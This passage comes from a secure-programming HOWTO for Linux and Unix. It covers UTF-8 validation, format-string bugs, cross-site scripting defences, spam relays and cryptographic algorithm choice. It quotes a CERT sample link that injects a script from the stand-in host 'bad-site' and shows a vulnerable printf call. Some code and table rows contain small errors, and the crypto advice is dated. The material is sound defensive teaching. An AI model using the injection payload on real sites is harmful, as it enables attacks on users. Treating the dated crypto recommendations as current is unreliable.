1000-FFFF | 1110xxxx 10xxxxxx 10xxxxxx | E1-EF 80-BF 80-BF
10000-3FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx | F0 90*-BF 80-BF 80-BF
40000-FFFFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx | F1-F3 80-BF 80-BF 80-BF
40000-FFFFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx | F1-F3 80-BF 80-BF 80-BF
100000-10FFFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx | F4 80-8F* 80-BF 80-BF
200000-3FFFFFF | 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx | too large; see below
04000000-7FFFFFFF | 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx | too large; see below

As I noted earlier, there are two standards for character sets, ISO 10646 and Unicode, who have agreed to synchronize their character assignments. The definition of UTF-8 in ISO/IEC 10646-1:2000 and the IETF RFC also currently support five and six byte sequences to encode characters outside the range supported by Uniforum's Unicode, but such values can't be used to support Unicode characters and it's expected that a future version of ISO 10646 will have the same limits. Thus, for most purposes the five and six byte UTF-8 encodings aren't legal, and you should normally reject them (unless you have a special purpose for them).

This is set of valid values is tricky to determine, and in fact earlier versions of this document got some entries wrong (in some cases it permitted overlong characters). Language developers should include a function in their libraries to check for valid UTF-8 values, just because it's so hard to get right.

I should note that in some cases, you might want to cut slack (or use internally) the hexadecimal sequence C0 80. This is an overlong sequence that, if permitted, can represent ASCII NUL (NIL). Since C and C++ have trouble including a NIL character in an ordinary string, some people have taken to using this sequence when they want to represent NIL as part of the data stream; Java even enshrines the practice. Feel free to use C0 80 internally while processing data, but technically you really should translate this back to 00 before saving the data. Depending on your needs, you might decide to be ``sloppy'' and accept C0 80 as input in a UTF-8 data stream. If it doesn't harm security, it's probably a good practice to accept this sequence since accepting it aids interoperability.

Handling this can be tricky. You might want to examine the C routines developed by Unicode to handle conversions, available at ftp://ftp.unicode.org/Public/PROGRAMS/CVTUTF/ConvertUTF.c. It's unclear to me if these routines are open source software (the licenses don't clearly say whether or not they can be modified), so beware of that.

4.8.5. UTF-8 Related Issues

This section has discussed UTF-8, because it's the most popular multibyte encoding of UCS, simplifying a lot of international text handling issues. However, it's certainly not the only encoding; there are other encodings, such as UTF-16 and UTF-7, which have the same kinds of issues and must be validated for the same reasons.

Another issue is that some phrases can be expressed in more than one way in ISO 10646/Unicode. For example, some accented characters can be represented as a single character (with the accent) and also as a set of characters (e.g., the base character plus a separate composing accent). These two forms may appear identical. There's also a zero-width space that could be inserted, with the result that apparently-similar items are considered different. Beware of situations where such hidden text could interfere with the program. This is an issue that in general is hard to solve; most programs don't have such tight control over the clients that they know completely how a particular sequence will be displayed (since this depends on the client's font, display characteristics, locale, and so on).

Prev | Home | Next
Human Language (Locale) Selection | Up | Prevent Cross-site Malicious Content on Input


Check All System Call Returns

Secure Programming for Linux and Unix HOWTO
Prev Chapter 7. Carefully Call Out to Other Resources Next

7.5. Check All System Call Returns

Every system call that can return an error condition must have that error condition checked. One reason is that nearly all system calls require limited system resources, and users can often affect resources in a variety of ways. Setuid/setgid programs can have limits set on them through calls such as setrlimit(3) and nice(2). External users of server programs and CGI scripts may be able to cause resource exhaustion simply by making a large number of simultaneous requests. If the error cannot be handled gracefully, then fail safe as discussed earlier.

Prev | Home | Next
Call Only Interfaces Intended for Programmers | Up | Avoid Using vfork(2)


Command line

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.1. Command line

Many programs take input from the command line. A setuid/setgid program's command line data is provided by an untrusted user, so a setuid/setgid program must defend itself from potentially hostile command line values. Attackers can send just about any kind of data through a command line (through calls such as the execve(3) call). Therefore, setuid/setgid programs must completely validate the command line inputs and must not trust the name of the program reported by command line argument zero (an attacker can set it to any value including NULL).

Prev | Home | Next
Validate All Input | Up | Environment Variables


Compilation Solutions in C/C++

Secure Programming for Linux and Unix HOWTO
Prev Chapter 5. Avoid Buffer Overflow Next

5.3. Compilation Solutions in C/C++

A completely different approach is to use compilation methods that perform bounds-checking (see [Sitaker 1999] for a list). In my opinion, such tools are very useful in having multiple layers of defense, but it's not wise to use this technique as your sole defense. There are at least two reasons for this. First of all, most such tools only provide partial defense against buffer overflows (and the ``complete'' defenses are generally 12-30 times slower); C and C++ were simply not designed to protect against buffer overflows. Second of all, for open source programs you cannot be certain what tools will be used to compile the program; using the default ``normal'' compiler for a given system might suddenly open security flaws.

One of the more useful tools is ``StackGuard'', a modification of the standard GNU C compiler gcc. StackGuard works by inserting a ``guard'' value (called a ``canary'') in front of the return address; if a buffer overflow overwrites the return address, the canary's value (hopefully) changes and the system detects this before using it. This is quite valuable, but note that this does not protect against buffer overflows overwriting other values (which they may still be able to use to attack a system). There is work to extend StackGuard to be able to add canaries to other data items, called ``PointGuard''. PointGuard will automatically protect certain values (e.g., function pointers and longjump buffers). However, protecting other variable types using PointGuard requires specific programmer intervention (the programmer has to identify which data values must be protected with canaries). This can be valuable, but it's easy to accidentally omit protection for a data value you didn't think needed protection - but needs it anyway. More information on StackGuard, PointGuard, and other alternatives is in Cowan [1999].

As a related issue, in Linux you could modify the Linux kernel so that the stack segment is not executable; such a patch to Linux does exist (see Solar Designer's patch, which includes this, at http://www.openwall.com/linux/ However, as of this writing this is not built into the Linux kernel. Part of the rationale is that this is less protection than it seems; attackers can simply force the system to call other ``interesting'' locations already in the program (e.g., in its library, the heap, or static data segments). Also, sometimes Linux does require executable code in the stack, e.g., to implement signals and to implement GCC ``trampolines''. Solar Designer's patch does handle these cases, but this does complicate the patch. Personally, I'd like to see this merged into the main Linux distribution, since it does make attacks somewhat more difficult and it defends against a range of existing attacks. However, I agree with Linus Torvalds and others that this does not add the amount of protection it would appear to and can be circumvented with relative ease. You can read Linus Torvalds' explanation for not including this support at http://lwn.net/980806/a/linus-noexec.html.

In short, it's better to work first on developing a correct program that defends itself against buffer overflows. Then, after you've done this, by all means use techniques and tools like StackGuard as an additional safety net. If you've worked hard to eliminate buffer overflows in the code itself, then StackGuard is likely to be more effective because there will be fewer ``chinks in the armor'' that StackGuard will be called on to protect.

Prev | Home | Next
Library Solutions in C/C++ | Up | Other Languages


Conclusion

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 11. Conclusion

The end of a matter is better than its beginning, and patience is better than pride.
Ecclesiastes 7:8 (NIV)

Designing and implementing a truly secure program is actually a difficult task on Unix-like systems such as Linux and Unix. The difficulty is that a truly secure program must respond appropriately to all possible inputs and environments controlled by a potentially hostile user. Developers of secure programs must deeply understand their platform, seek and use guidelines (such as these), and then use assurance processes (such as peer review) to reduce their programs' vulnerabilities.

In conclusion, here are some of the key guidelines in this book:

  • Validate all your inputs, including command line inputs, environment variables, CGI inputs, and so on. Don't just reject ``bad'' input; define what is an ``acceptable'' input and reject anything that doesn't match.

  • Avoid buffer overflow. Make sure that long inputs (and long intermediate data values) can't be used to take over your program. This is the primary programmatic error at this time.

  • Structure Program Internals. Secure the interface, minimize privileges, make the initial configuration and defaults safe, and fail safe. Avoid race conditions (e.g., by safely opening any files in a shared directory like /tmp). Trust only trustworthy channels (e.g., most servers must not trust their clients for security checks or other sensitive data such as an item's price in a purchase).

  • Carefully call out to other resources. Limit their values to valid values (in particular be concerned about metacharacters), and check all system call return values.

  • Reply information judiciously. In particular, minimize feedback, and handle full or unresponsive output to an untrusted user.

Prev | Home | Next
Miscellaneous |  | Bibliography


Control Data Formatting (``Format Strings'')

Secure Programming for Linux and Unix HOWTO
Prev Chapter 8. Send Information Back Judiciously Next

8.4. Control Data Formatting (``Format Strings'')

A number of output routines in computer languages have a parameter that controls the generated format. In C, the most obvious example is the printf() family of routines (including printf(), sprintf(), snprintf(), fprintf(), and so on). Other examples in C include syslog() (which writes system log information) and setproctitle() (which sets the string used to display process identifier information). Many functions with names beginning with ``err'' or ``warn'', containing ``log'' , or ending in ``printf'' are worth considering. Python includes the "%" operation, which on strings controls formatting in a similar manner. Many programs and libraries define formatting functions, often by calling built-in routines and doing additional processing (e.g., glib's g_snprintf() routine).

Surprisingly, many people seem to forget the power of these formatting capabilities and use data from untrusted users as the formatting parameter. Never use unfiltered data from an untrusted user as the format parameter. Perhaps this is best shown by example:
  /* Wrong ways: */
  printf(string_from_untrusted_user);
  /* Right ways: */
  printf("%s", string_from_untrusted_user); /* safe */
  fputs(string_from_untrusted_user); /* better for simple strings */

Otherwise, an attacker can cause all sorts of mischief by carefully selecting the formatting string. The case of C's printf() is a good example - there are lots of ways to possibly exploit user-controlled format strings in printf(). These include buffer overruns by creating a long formatting string (this can result in the attacker having complete control over the program), conversion specifications that use unpassed parameters (causing unexpected data to be inserted), and creating formats which produce totally unanticipated result values (say by prepending or appending awkward data, causing problems in later use). A particularly nasty case is printf's %n conversion specification, which writes the number of characters written so far into the pointer argument; using this, an attacker can overwrite a value that was intended for printing! An attacker can even overwrite almost arbitrary locations, since the attacker can specify a ``parameter'' that wasn't actually passed. Many papers discuss these attacks in more detail, for example, you can see Avoiding security holes when developing an application - Part 4: format strings.

Since in many cases the results are sent back to the user, this attack can also be used to expose internal information about the stack. This information can then be used to circumvent stack protection systems such as StackGuard; StackGuard uses constant ``canary'' values to detect attacks, but if the stack's contents can be displayed, the current value of the canary will be exposed and made vulnerable.

A formatting string should almost always be a constant string, possibly involving a function call to implement a lookup for internationalization (e.g., via gettext's _()). Note that this lookup must be limited to values that the program controls, i.e., the user must be allowed to only select from the message files controlled by the program. It's possible to filter user data before using it (e.g., by designing a filter listing legal characters for the format string such as [A-Za-z0-9]), but it's usually better to simply prevent the problem by using a constant format string or fputs() instead. Note that although I've listed this as an ``output'' problem, this can cause problems internally to a program before output (since the output routines may be saving to a file, or even just generating internal state such as via snprintf()).

The problem of input formatting causing security problems is not an idle possibility; see CERT Advisory CA-2000-13 for an example of an exploit using this weakness. For more information on how these problems can be exploited, see Pascal Bouchareine's email article titled ``[Paper] Format bugs'', published in the July 18, 2000 edition of Bugtraq. As of December 2000, developmental versions of the gcc compiler support warning messages for insecure format string usages, in an attempt to help developers avoid these problems.

Of course, this all begs the question as to whether or not the internationalization lookup is, in fact, secure. If you're creating your own internationalization lookup routines, make sure that an untrusted user can only specify a legal locale and not something else like an arbitrary path.

Clearly, you want to limit the strings created through internationalization to ones you can trust. Otherwise, an attacker could use this ability to exploit the weaknesses in format strings, particularly in C/C++ programs. This has been an item of discussion in Bugtraq (e.g., see John Levon's Bugtraq post on July 26, 2000). For more information, see the discussion on on permitting users to only select legal language values in Section 4.7.3

Although it's really a programming bug, it's worth mentioning that different countries notate numbers in different ways, in particular, both the period (.) and comma (,) are used to separate an integer from its fractional part. If you save or load data, you need to make sure that the active locale does not interfere with data handling. Otherwise, a French user may not be able to exchange data with an English user, because the data stored and retrieved will use different separators. I'm unaware of this being used as a security problem, but it's conceivable.

Prev | Home | Next
Handle Full/Unresponsive Output | Up | Control Character Encoding in Output


Document Conventions

Secure Programming for Linux and Unix HOWTO
Prev Chapter 2. Background Next

2.10. Document Conventions

System manual pages are referenced in the format name(number), where number is the section number of the manual. The pointer value that means ``does not point anywhere'' is called NULL; C compilers will convert the integer 0 to the value NULL in most circumstances where a pointer is needed, but note that nothing in the C standard requires that NULL actually be implemented by a series of all-zero bits. C and C++ treat the character '\0' (ASCII 0) specially, and this value is referred to as NIL in this book (this is usually called ``NUL'', but ``NUL'' and ``NULL'' sound identical). Function and method names always use the correct case, even if that means that some sentences must begin with a lower case letter. I use the term ``Unix-like'' to mean Unix, Linux, or other systems whose underlying models are very similar to Unix; I can't say POSIX, because there are systems such as Windows 2000 that implement portions of POSIX yet have vastly different security models.

An attacker is called an ``attacker'', ``cracker'', or ``adversary''. Some journalists use the word ``hacker'' instead of ``attacker''; this book avoids this (mis)use, because many Linux and Unix developers refer to themselves as ``hackers'' in the traditional non-evil sense of the term. That is, to many Linux and Unix developers, the term ``hacker'' continues to mean simply an expert or enthusiast, particularly regarding computers.

This book uses the ``new'' or ``logical'' quoting system, instead of the traditional American quoting system: quoted information does not include any trailing punctuation if the punctuation is not part of the material being quoted. While this may cause a minor loss of typographical beauty, the traditional American system causes extraneous characters to be placed inside the quotes. These extraneous characters have no effect on prose but can be disastrous in code or computer commands. I use standard American (not British) spelling; I've yet to meet an English speaker on any continent who has trouble with this.

Prev | Home | Next
Other Sources of Security Information | Up | Summary of Linux and Unix Security Features


Counter SPAM

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.12. Counter SPAM

Any program that can send email elsewhere, by request from the network, can be used to transport spam. Spam is the usual name for unsolicited bulk email (UBE) or mass unsolicited email. It's also sometimes called unsolicited commercial email (UCE), though that name is misleading - not all spam is commercial. For a discussion of why spam is such a serious problem, see http://mail-abuse.org/, http://spam.abuse.net/, CAUCE, and IETF RFC 2635 Spam receivers and intermediaries bear most of the cost of spam, while the spammer spends very little to send it. Therefore most people regard spam as a theft of service, not as some armless activity.

If your program can be used to generate email sent to others (such as a mail transfer agent, generator of data sent by email, or a mailing list manager), be sure to write your program to prevent its unauthorized use as a mail relay. A program should usually only allow legitimate authorized users to send email to others (e.g., those inside that company's mail server or those legitimately subscribed to the service). More information about this is in IETF RFC 2505 Also, if you manage a mailing list, make sure that it can enforce the rule that only subscribers can post to the list, and create a ``log in'' feature that will make it somewhat harder for spammers to subscribe, spam, and unsubscribe easily.

One way to more directly counter SPAM is to incorporate support for the MAPS (Mail Abuse Prevention System LLC) RBL (Realtime Blackhole List), which maintains in real-time a list of IP addresses where SPAM is known to originate. For more information, see http://mail-abuse.org/rbl/. Many current Mail Transfer Agents (MTAs) already support the RBL; see their websites for how to configure them. The usual way to use the RBL is to simply refuse to accept any requests from IP addresses in the blackhole list; this is harsh, but it solves the problem. I believe there are other similar services as well.

I suggest that many systems and programs, by default, enable spam blocking if they can send email on to others whose identity is under control of a remote user - and that includes MTAs. At the least, consider this. There are real problems with this suggestion, of course - you might (rarely) inhibit communication with a legitimate user. On the other hand, if you don't block spam, then it's likely that everyone else will blackhole your system (and thus ignore your emails). It's not a simple issue, because no matter what you do, some people will not allow you to send them email. And of course, how well do you trust the organization keeping up the real-time blackhole list - will they add truly innocent sites to the blackhole list, and will they remove sites from the blackhole list once all is okay? Thus, it becomes a trade-off - is it more important to talk to spammers (and a few innocents as well), or is it more important to talk to those many other systems with spam blocks (losing those innocents who share equipment with spammers)? Obviously, this must be configurable. This is somewhat controversial advice, so consider your options for your circumstance.

Prev | Home | Next
Forbid HTTP GET To Perform Non-Queries | Up | Limit Valid Input Time and Load Level


Prevent Cross-Site Malicious Content

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.15. Prevent Cross-Site Malicious Content

Some secure programs accept data from one untrusted user (the attacker) and pass that data on to a different user's application (the victim). If the secure program doesn't protect the victim, the victim's application (e.g., their web browser) may then process that data in a way harmful to the victim. This is a particularly common problem for web applications using HTML or XML, where the problem goes by several names including ``cross-site scripting'', ``malicious HTML tags'', and ``malicious content.'' This book will call this problem ``cross-site malicious content,'' since the problem isn't limited to scripts or HTML, and its cross-site nature is fundamental. Note that this problem isn't limited to web applications, but since this is a particular problem for them, the rest of this discussion will emphasize web applications. As will be shown in a moment, sometimes an attacker can cause a victim to send data from the victim to the secure program, so the secure program must protect the victim from himself.

6.15.1. Explanation of the Problem

Let's begin with a simple example. Some web applications are designed to permit HTML tags in data input from users that will later be posted to other readers (e.g., in a guestbook or ``reader comment'' area). If nothing is done to prevent it, these tags can be used by malicious users to attack other users by inserting scripts, Java references (including references to hostile applets), DHTML tags, early document endings (via </HTML>), absurd font size requests, and so on. This capability can be exploited for a wide range of effects, such as exposing SSL-encrypted connections, accessing restricted web sites via the client, violating domain-based security policies, making the web page unreadable, making the web page unpleasant to use (e.g., via annoying banners and offensive material), permit privacy intrusions (e.g., by inserting a web bug to learn exactly who reads a certain page), creating denial-of-service attacks (e.g., by creating an ``infinite'' number of windows), and even very destructive attacks (by inserting attacks on security vulnerabilities such as scripting languages or buffer overflows in browsers). By embedding malicious FORM tags at the right place, an intruder may even be able to trick users into revealing sensitive information (by modifying the behavior of an existing form). This is by no means an exhaustive list of problems, but hopefully this is enough to convince you that this is a serious problem.

Most ``discussion boards'' have already discovered this problem, and most already take steps to prevent it in text intended to be part of a multiperson discussion. Unfortunately, many web application developers don't realize that this is a much more general problem. Every data value that is sent from one user to another can potentially be a source for cross-site malicious posting, even if it's not an ``obvious'' case of an area where arbitrary HTML is expected. The malicious data can even be supplied by the user himself, since the user may have been fooled into supplying the data via another site. Here's an example (from CERT) of an HTML link that causes the user to send malicious data to another site:
 <A HREF="http://example.com/comment.cgi?mycomment=<SCRIPT
 SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>

In short, a web application cannot accept input (including any form data) without checking, filtering, or encoding it. You can't even pass that data back to the same user in many cases in web applications, since another user may have surreptitiously supplied the data. Even if permitting such material won't hurt your system, it will enable your system to be a conduit of attacks to your users. Even worse, those attacks will appear to be coming from your system.

CERT describes the problem this way in their advisory:

A web site may inadvertently include malicious HTML tags or script in a dynamically generated page based on unvalidated input from untrustworthy sources (CERT Advisory CA-2000-02, Malicious HTML Tags Embedded in Client Web Requests).

6.15.2. Solutions to Cross-Site Malicious Content

Fundamentally, this means that all web application output impacted by any user must be filtered (so characters that can cause this problem are removed), encoded (so the characters that can cause this problem are encoded in a way to prevent the problem), or validated (to ensure that only ``safe'' data gets through). This includes all output derived from input such as URL parameters, form data, cookies, database queries, CORBA ORB results, and data from users stored in files. In many cases, filtering and validation should be done at the input, but encoding can be done during either input validation or output generation. If you're just passing the data through without analysis, it's probably better to encode the data on input (so it won't be forgotten). However, if your program processes the data, it can be easier to encode it on output instead. CERT recommends that filtering and encoding be done during data output; this isn't a bad idea, but there are many cases where it makes sense to do it at input instead. The critical issue is to make sure that you cover all cases for every output, which is not an easy thing to do regardless of approach.

Warning - in many cases these techniques can be subverted unless you've also gained control over the character encoding of the output. Otherwise, an attacker could use an ``unexpected'' character encoding to subvert the techniques discussed here. Thankfully, this isn't hard; gaining control over output character encoding is discussed in Section 8.5.

The first subsection below discusses how to identify special characters that need to be filtered, encoded, or validated. This is followed by subsections describing how to filter or encode these characters. There's no subsection discussing how to validate data in general, however, for input validation in general see Chapter 4, and if the input is straight HTML text or a URI, see Section 4.10. Also note that your web application can receive malicious cross-postings, so non-queries should forbid the GET protocol (see Section 4.11).

6.15.2.1. Identifying Special Characters

Here are the special characters for a variety of circumstances (my thanks to the CERT, who developed this list):

  • In the content of a block-level element (e.g., in the middle of a paragraph of text in HTML or a block in XML):

    • "<" is special because it introduces a tag.

    • "&" is special because it introduces a character entity.

    • ">" is special because some browsers treat it as special, on the assumption that the author of the page really meant to put in an opening "<", but omitted it in error.

  • In attribute values:

    • In attribute values enclosed with double quotes, the double quotes are special because they mark the end of the attribute value.

    • In attribute values enclosed with single quote, the single quotes are special because they mark the end of the attribute value. Note that these aren't legal in XML, so I would recommend not using these.

    • Attribute values without any quotes make the white-space characters such as space and tab special. Note that these aren't legal in XML either, and they make more characters special. Thus, I recommend against unquoted attributes if you're using dynamically generated values in them.

    • "&" is special when used in conjunction with some attributes because it introduces a character entity.

  • In URLs, for example, a search engine might provide a link within the results page that the user can click to re-run the search. This can be implemented by encoding the search query inside the URL. When this is done, it introduces additional special characters:

    • Space, tab, and new line are special because they mark the end of the URL.

    • "&" is special because it introduces a character entity or separates CGI parameters.

    • Non-ASCII characters (that is, everything above 128 in the ISO-8859-1 encoding) aren't allowed in URLs, so they are all special here.

    • The "%" must be filtered from input anywhere parameters encoded with HTTP escape sequences are decoded by server-side code. The percent must be filtered if input such as "%68%65%6C%6C%6F" becomes "hello" when it appears on the web page in question.

  • Within the body of a <SCRIPT> </SCRIPT> the semicolon, parenthesis, curly braces, and new line should be filtered in situations where text could be inserted directly into a preexisting script tag.

  • Server-side scripts that convert any exclamation characters (!) in input to double-quote characters (") on output might require additional filtering.

Note that, in general, the ampersand (&) is special in HTML and XML.

6.15.2.2. Filtering

One approach to handling these special characters is simply eliminating them (usually during input or output).

If you're already validating your input for valid characters (and you generally should), this is easily done by simply omitting the special characters from the list of valid characters. Here's an example in Perl of a filter that only accepts legal characters, and since the filter doesn't accept any special characters other than the space, it's quite acceptable for use in areas such as a quoted attribute:
 # Accept only legal characters:
 $summary =~ tr/A-Za-z0-9\ \.\://dc;

However, if you really want to strip away only the smallest number of characters, then you could create a subroutine to remove just those characters:
 sub remove_special_chars {
  local($s) = @_;
  $s =~ s/[\<\>\"\'\%\;\(\)\&\+]//g;
  return $s;
 }
 # Sample use:
 $data = &remove_special_chars($data);

6.15.2.3. Encoding

An alternative to removing the special characters is to encode them so that they don't have any special meaning. This has several advantages over filtering the characters, in particular, it prevents data loss. If the data is "mangled" by the process from the user's point of view, at least with encoding it's possible to reconstruct the data that was originally sent.

HTML, XML, and SGML all use the ampersand ("&") character as a way to introduce encodings in the running text; this encoding is often called ``HTML encoding.'' To encode these characters, simply transform the special characters in your circumstance. Usually this means '<' becomes '&lt;', '>' becomes '&gt;', '&' becomes '&amp;', and '"' becomes '&quot;'. As noted above, although in theory '>' doesn't need to be quoted, because some browsers act on it (and fill in a '<') it needs to be quoted. There's a minor complexity with the double-quote character, because '&quot;' only needs to be used inside attributes, and some old browsers don't properly render it. If you can handle the additional complexity, you can try to encode '"' only when you need to, but it's easier to simply encode it and ask users to upgrade their browsers.

This approach to HTML encoding isn't quite enough encoding in some circumstances. As discussed in Section 8.5, you need to specify the output character encoding (the ``charset''). If some of your data is encoded using a different character encoding than the output character encoding, then you'll need to do something so your output uses a consistent and correct encoding. Also, you've selected an output encoding other than ISO-8859-1, then you need to make sure that any alternative encodings for special characters (such as "<") can't slip through to the browser. This is a problem with several character encodings, including popular ones like UTF-7 and UTF-8; see Section 4.8 for more information on how to prevent ``alternative'' encodings of characters. One way to deal with incompatible character encodings is to first translate the characters internally to ISO 10646 (which has the same character values as Unicode), and then using either numeric character references or character entity references to represent them:

  • A numeric character reference looks like "&#D;", where D is a decimal number, or "&#xH;" or "&#XH;", where H is a hexadecimal number. The number given is the ISO 10646 character id (which has the same character values as Unicode). Thus &#1048; is the Cyrillic capital letter "I". The hexadecimal system isn't supported in the SGML standard (ISO 8879), so I'd suggest using the decimal system for output. Also, although SGML specification permits the trailing semicolon to be omitted in some circumstances, in practice many systems don't handle it - so always include the trailing semicolon.

  • A character entity reference does the same thing but uses mnemonic names instead of numbers. For example, "&lt;" represents the < sign. If you're generating HTML, see the HTML specification which lists all mnemonic names.

Either system (numeric or character entity) works; I suggest using character entity references for '<', '>', '&', and '"' because it makes your code (and output) easier for humans to understand. Other than that, it's not clear that one or the other system is uniformly better. If you expect humans to edit the output by hand later, use the character entity references where you can, otherwise I'd use the decimal numeric character references just because they're easier to program. This encoding scheme can be quite inefficient for some languages (especially Asian languages); if that is your primary content, you might choose to use a different character encoding (charset), filter on the critical characters (e.g., "<") and ensure that no alternative encodings for critical characters are allowed.

URIs have their own encoding scheme, commonly called ``URL encoding.'' In this system, characters not permitted in URLs are represented using a percent sign followed by its two-digit hexadecimal value. To handle all of ISO 10646 (Unicode), it's recommended to first translate the codes to UTF-8, and then encode it. See Section 4.10.4 for more about validating URIs.

Prev | Home | Next
Self-limit Resources | Up | Foil Semantic Attacks


Cryptographic Algorithms and Protocols

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.5. Cryptographic Algorithms and Protocols

Often cryptographic algorithms and protocols are necessary to keep a system secure, particularly when communicating through an untrusted network such as the Internet. Where possible, use cryptographic techniques to authenticate information and keep the information private (but don't assume that simple encryption automatically authenticates as well). Generally you'll need to use a suite of available tools to secure your application.

For background information and code, you should probably look at the classic text ``Applied Cryptography'' [Schneier 1996]. The newsgroup ``sci.crypt'' has a series of FAQ's; you can find them at many locations, including http://www.landfield.com/faqs/cryptography-faq. Linux-specific resources include the Linux Encryption HOWTO at http://marc.mutz.com/Encryption-HOWTO/. A discussion on how protocols use the basic algorithms can be found in [Opplinger 1998]. A useful collection of papers on how to apply cryptography in protocols can be found in [Stallings 1996]. What follows here is just a few comments; these areas are rather specialized and covered more thoroughly elsewhere.

Cryptographic protocols and algorithms are difficult to get right, so do not create your own. Instead, where you can, use protocols and algorithms that are widely-used, heavily analyzed, and accepted as secure. When you must create anything, give the approach wide public review and make sure that professional security analysts examine it for problems. In particular, do not create your own encryption algorithms unless you are an expert in cryptology, know what you're doing, and plan to spend years in professional review of the algorithm. Creating encryption algorithms (that are any good) is a task for experts only.

A number of algorithms are patented; even if the owners permit ``free use'' at the moment, without a signed contract they can always change their minds later, putting you at extreme risk later. In general, avoid all patented algorithms - in nearly all cases there's an unpatented approach that is at least as good or better technically, and by doing so you avoid a large number of legal problems.

10.5.1. Cryptographic Protocols

For protocols, try to use standard-conforming protocols such as SSL (soon to be TLS), SSH, IPSec, GnuPG/PGP, and Kerberos. Many of these overlap somewhat in functionality, but each has a ``specialty'' niche. SSL (soon to be TLS) is the primary method for protecting http (web) transactions. PGP-compatible protocols (implemented in PGP and GnuPG) are a primary method for securing email end-to-end. Kerberos is a primary method for securing and supporting authentication on a LAN, and for establishing shared secrets (thus, it needs to be used with other algorithms for the actual protection of communication). SSH is the primary method of securing ``remote terminals'' over an internet, e.g., telnet-like and X windows connections, though it's often used for securing other data streams too (such as CVS accesses). Note that there are two major versions of the SSH protocol, and there are several choices for key types and so on; see its documentation for more information. OpenSSH is an open source implementation of SSH. IPSec is the primary method for securing lower-level packets and ``all'' packets, so it's particularly useful for securing virtual private networks and remote machines. The new version of the Internet Protocol, IPv6, comes with IPSec ``built in,'' but IPSec also works with the more common IPv4 protocol.

Many of these protocols allow you to select a number of different algorithms, so you'll still need to pick reasonable defaults for algorithms (e.g., for encryption).

10.5.2. Symmetric Key Encryption Algorithms

The use, export, and/or import of implementations of encryption algorithms are restricted in many countries, and the laws can change quite rapidly. Find out what the rules are before trying to build applications using cryptography.

For secret key (bulk data) encryption algorithms, use only encryption algorithms that have been openly published and withstood years of attack, and check on their patent status. I would recommend using the new Advanced Encryption Standard (AES), also known as Rijndahl -- a number of cryptographers have analyzed it and not found any serious weakness in it, and I believe it has been through enough analysis to be trustworthy now. A good alternative to AES is the Serpent algorithm, which is slightly slower but is very resistant to attack. For many applications triple-DES is a very good encryption algorithm; it has a reasonably lengthy key (112 bits), no patent issues, and a very long history of withstanding attacks (it's withstood attacks far longer than any other encryption algorithm with reasonable key length in the public literature). However, triple-DES is very slow when implemented in software, so triple-DES can be considered ``safest but slowest.'' Twofish appears to be a good encryption algorithm, but there are some lingering questions - Sean Murphy and Fauzan Mirza showed that Twofish has properties that cause many academics to be concerned (though as of yet no one has managed to exploit these properties). MARS is highly resistent to ``new and novel'' attacks, but it's more complex and is impractical on small-ability smartcards. For the moment I would avoid Twofish - it's quite likely that this will never be exploitable, but it's hard to be sure and there are alternative algorithms which don't have these concerns. Don't use IDEA - it's subject to U.S. and European patents. Don't use stupid algorithms such as XOR with a constant or constant string, the ROT (rotation) scheme, a Vinegere ciphers, and so on - these can be trivially broken with today's computers. Don't use ``double DES'' (using DES twice) - that's subject to a ``man in the middle'' attack that triple-DES avoids. Your protocol should support multiple encryption algorithms, anyway; that way, when an encryption algorithm is broken, users can switch to another one.

For symmetric-key encryption (e.g., for bulk encryption), don't use a key length less than 90 bits if you want the information to stay secret through 2016 (add another bit for every additional 18 months of security) [Blaze 1996]. For encrypting worthless data, the old DES algorithm has some value, but with modern hardware it's too easy to break DES's 56-bit key using brute force. If you're using DES, don't just use the ASCII text key as the key - parity is in the least (not most) significant bit, so most DES algorithms will encrypt using a key value well-known to adversaries; instead, create a hash of the key and set the parity bits correctly (and pay attention to error reports from your encryption routine). So-called ``exportable'' encryption algorithms only have effective key lengths of 40 bits, and are essentially worthless; in 1996 an attacker could spend $10,000 to break such keys in twelve minutes or use idle computer time to break them in a few days, with the time-to-break halving every 18 months in either case.

Block encryption algorithms can be used in a number of different modes, such as ``electronic code book'' (ECB) and ``cipher block chaining'' (CBC). In nearly all cases, use CBC, and do not use ECB mode - in ECB mode, the same block of data always returns the same result inside a stream, and this is often enough to reveal what's encrypted. Many modes, including CBC mode, require an ``initialization vector'' (IV). The IV doesn't need to be secret, but it does need to be unpredictable by an attacker. Don't reuse IV's across sessions - use a new IV each time you start a session.

There are a number of different streaming encryption algorithms, but many of them have patent restrictions. I know of no patent or technical issues with WAKE. RC4 was a trade secret of RSA Data Security Inc; it's been leaked since, and I know of no real legal impediment to its use, but RSA has often threatened court action against users of it (it's not at all clear what RSA could do, but no doubt they could tie up users in worthless court cases). If you use RC4, use it as intended - in particular, always discard the first 256 bytes it generates, or you'll be vulnerable to attack. SEAL is patented by IBM - so don't use it. SOBER is patented; the patent owner has claimed that it will allow many uses for free if permission is requested, but this creates an impediment for later use. Even more interestingly, block encryption algorithms can be used in modes that turn them into stream ciphers, and users who want stream ciphers should consider this approach (you'll be able to choose between far more publicly-available algorithms).

10.5.3. Public Key Algorithms

For public key cryptography (used, among other things, for signing and sending secret keys), there are only a few widely-deployed algorithms. One of the most widely-used algorithms is RSA; RSA's algorithm was patented, but only in the U.S., and that patent expired in September 2000, so RSA can be freely used. Never decrypt or sign a raw value that an attacker gives you directly using RSA and expose the result, because that could expost the private key (this isn't a problem in practice, because most protocols involve signing a hash computed by the user - not the raw value - or don't expose the result). Never decrypt or sign the exact same raw value multiple times (the original can be exposed). Both of these can be solved by always adding random padding (PGP does this) - the usual approach is called Optimal Asymmetric Encryption Padding (OAEP).

